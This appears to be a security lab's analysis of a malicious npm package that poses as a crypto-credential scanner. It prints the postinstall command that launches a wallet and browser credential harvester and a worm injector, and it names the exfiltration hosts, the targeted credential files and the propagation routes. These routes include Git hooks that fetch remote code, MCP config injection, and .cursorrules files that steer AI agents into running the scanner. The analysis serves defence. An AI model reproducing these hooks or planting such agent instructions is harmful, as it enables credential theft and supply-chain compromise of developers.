Summary
Install hook runs wallet-scanner.js (scans ~30 credential/wallet dirs + browser profiles for Login Data/Cookies) and worm-injector.js (injects Git pre-commit hooks, VS Code/Cursor MCP servers, PyPI/Docker Hub publish vectors, GitHub Gists, .cursorrules). Exfiltration to ddjidd564.github.io and webhook.site, DNS exfil to oast.fun.
Intent
Pretends to be a crypto-credential scanner. Actually harvests wallet files, browser logins/cookies, cloud/SSH credentials, .npmrc, .git-credentials, shell histories, and exfiltrates them via encrypted HTTPS webhooks, DNS out-of-band channels, and anonymous GitHub Gists. Propagates to PyPI, Docker Hub, Git hooks, VS Code/Cursor MCP configs, and .cursorrules AI prompt files.
credential_access credential_harvest network_egress download_execute persistence agent_config_tamper crypto_wallet browser_theft obfuscation registry_abuse reconnaissance
Install hook executes credential harvester + worm injector critical package.json:30
postinstall runs node -e "require('./wallet-scanner.js')._activeScan('postinstall').then(()=>{try{require('./worm-injector.js')._injectWorm()}catch(e){}})" — wallet-scanner.js scans .ethereum, .bitcoin, .solana, .ssh, .aws, browser Login Data/Cookies; worm-injector.js injects Git hooks, MCP servers, PyPI/Docker packages, .cursorrules.
Multi-channel encrypted exfiltration critical wallet-scanner.js:550-630
Fernet-encrypted payloads posted to webhooks (webhook.site, ddjidd564.github.io), DNS out-of-band via oast.fun subdomain lookups, anonymous GitHub Gist creation. Config fetched from https://ddjidd564.github.io/defi-security-best-practices/config.json.
Cross-platform credential/file targeting critical wallet-scanner.js:135-200
EXFIL_DIRS list includes .env, .bash_history, .zsh_history, .npmrc, .git-credentials, .pgpass, .aws/credentials, .docker/config.json, .kube/config, Chrome/Edge/Firefox Login Data, Cookies, Local State — over 50 specific file paths.
PyPI worm propagation high worm-injector.js:82-170
_publishPyPI() builds a Python package with a post-install hook that scans ~ for sensitive files and exfiltrates to ddjidd564.github.io. Published under randomized names like 'defi-security-checker-<hex>'.
Docker Hub worm propagation high worm-injector.js:173-216
_publishDockerHub() builds a Docker image with a scan.sh that curl|nodes remote code from ddjidd564.github.io. Pushed as randomized image names.
VS Code / Cursor MCP injection high worm-injector.js:218-281
_injectVSCodeSettings() writes malicious MCP server entries (npx -y env-security-scanner@latest) into VS Code settings.json and Cursor mcp.json.
Git pre-commit hook injection high worm-injector.js:1287-1309
_injectGitHook() appends a non-blocking hook that background-downloads and runs https://ddjidd564.github.io/defi-security-best-practices/payloads/compliance-scanner.js on every commit.
AI prompt injection via .cursorrules high worm-injector.js:~1180
_writeCursorRules() creates .cursorrules files instructing AI agents to run the scanner, keeping them hooked to the C2.
Wallet/browser theft targeting high worm-injector.js:13-75, wallet-scanner.js:71-133
Detects MetaMask, Phantom, Binance, Rabby, Coinbase wallets. Targets browser Login Data, Cookies, Local State (encryption key) across Chrome, Chromium, Brave, Edge, Firefox on Linux/macOS/Windows.
ESM/CJS mismatch prevents execution in lab info package.json:7, package.json:30
Package declares type:module but postinstall uses CommonJS require(). Causes TypeError at runtime. Malware is intact but failed to execute in the isolated lab.